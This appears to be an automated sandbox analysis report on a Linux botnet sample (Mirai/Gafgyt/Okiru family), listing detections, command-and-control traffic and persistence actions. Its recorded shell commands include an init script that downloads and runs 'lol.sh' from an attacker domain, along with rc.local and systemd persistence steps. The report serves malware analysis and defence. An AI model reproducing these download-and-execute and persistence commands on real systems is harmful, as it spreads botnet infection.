/memfd:snapd-env-generator (deleted)	ASCII text	D86A1F5765F37989EB0EC3837AD13ECC	D749672A734D9DEAFD61DCA501C6929EC431B83E	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x86_64.nn.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: x86_64.nn.elf

ReversingLabs: Detection: 47%

Machine Learning detection for sample

Source: x86_64.nn.elf

Joe Sandbox ML: detected

Found strings indicative of a multi-platform dropper

Source: x86_64.nn.elf

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 91.92.246.113 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 93.123.85.166 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.17.220 ports 38241,1,2,3,4,8

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:56032 -> 45.202.35.64:199
Source: global traffic	TCP traffic: 192.168.2.23:46410 -> 154.216.17.220:38241
Source: global traffic	TCP traffic: 192.168.2.23:33832 -> 91.92.246.113:38241
Source: global traffic	TCP traffic: 192.168.2.23:57290 -> 93.123.85.166:38241

Sample listens on a socket

Source: /tmp/x86_64.nn.elf (PID: 6275)

Socket: 0.0.0.0:38241

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64
Source: unknown	TCP traffic detected without corresponding DNS query: 45.202.35.64

Source: x86_64.nn.elf, 6275.1.00007ffd0cf0f000.00007ffd0cf30000.rw-.sdmp, inittab.16.dr, profile.16.dr, custom.service.16.dr, bootcmd.16.dr, mybinary.16.dr, x86_64.nn.elf.38.dr	String found in binary or memory: http://pen.gorillafirewall.su/
Source: x86_64.nn.elf, 6275.1.00007ffd0cf0f000.00007ffd0cf30000.rw-.sdmp	String found in binary or memory: http://pen.gorillafirewall.su/lol.sh

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: Found And Killed Process: PID=%d, Realpath=%s/snap/snapd/15534/usr/lib/snapd/snapd/usr/libexec/openssh/sftp-serveranko-app/ankosample _8182T_11047815351681972surf2/proc/self/exe/proc/%s/exe/.(deleted)socket/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnetbashhttpdtelnetddropbearencodersystem/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt487154914:1553<41<515791446<614561;814994;8153;148;14<5which gdb > /dev/nu

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 2223, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 6279, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 6285, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6276)	SIGKILL sent: pid: 6299, result: successful	Jump to behavior

Yara signature match

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal96.spre.troj.evad.linELF@0/9@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/x86_64.nn.elf (PID: 6275)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/x86_64.nn.elf (PID: 6275)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 6289)	File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary	Jump to behavior
Source: /usr/bin/ln (PID: 6296)	File: /etc/rc.d/S99x86_64.nn.elf -> /etc/init.d/x86_64.nn.elf	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/x86_64.nn.elf (PID: 6275)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6287)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6292)	File: /etc/init.d/x86_64.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/x86_64.nn.elf (PID: 6277)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6286)	Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6288)	Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6290)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/x86_64.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting x86_64.nn.elf'\n /tmp/x86_64.nn.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping x86_64.nn.elf'\n killall x86_64.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/x86_64.nn.elf"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6291)	Shell command executed: sh -c "chmod +x /etc/init.d/x86_64.nn.elf >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6293)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6295)	Shell command executed: sh -c "ln -s /etc/init.d/x86_64.nn.elf /etc/rc.d/S99x86_64.nn.elf >/dev/null 2>&1"	Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 6287)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary			Jump to behavior
Source: /bin/sh (PID: 6292)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/x86_64.nn.elf			Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 6294)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Executes the "rm" command used to delete files or directories

Source: /usr/bin/dash (PID: 6246)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.gkcdoXte3H /tmp/tmp.ZovgPejUCK /tmp/tmp.AO1EzK0HHw			Jump to behavior
Source: /usr/bin/dash (PID: 6247)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.gkcdoXte3H /tmp/tmp.ZovgPejUCK /tmp/tmp.AO1EzK0HHw			Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /bin/sh (PID: 6278)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Sample tries to set the executable flag

Source: /tmp/x86_64.nn.elf (PID: 6275)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6287)	File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6292)	File: /etc/init.d/x86_64.nn.elf (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Writes shell script file to disk with an unusual file extension

Source: /tmp/x86_64.nn.elf (PID: 6275)	Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary	Jump to dropped file
Source: /tmp/x86_64.nn.elf (PID: 6275)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 6290)	Writes shell script file to disk with an unusual file extension: /etc/init.d/x86_64.nn.elf	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/x86_64.nn.elf (PID: 6275)	File: /etc/init.d/mybinary			Jump to dropped file
Source: /bin/sh (PID: 6290)	File: /etc/init.d/x86_64.nn.elf			Jump to dropped file

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6275, type: MEMORYSTR

Remote Access Functionality

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6275.1.0000000000400000.0000000000413000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6275, type: MEMORYSTR

ID:	1522874
Product:	CloudBasic
Start time:	19:28:34
Start date:	30.09.2024
Sample:	x86_64.nn.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	1394937a79d6f023e8abfd09ee3deb1a
SHA1:	3b1f06041c6fbdf1ba334b518f4a13e3ace3560f
SHA256:	42845557a515bc05c290b3ab9d1ad291303691d472db9e09863bfc782b803ed2
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Linux Analysis Report x86_64.nn.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Linux Analysis Report
x86_64.nn.elf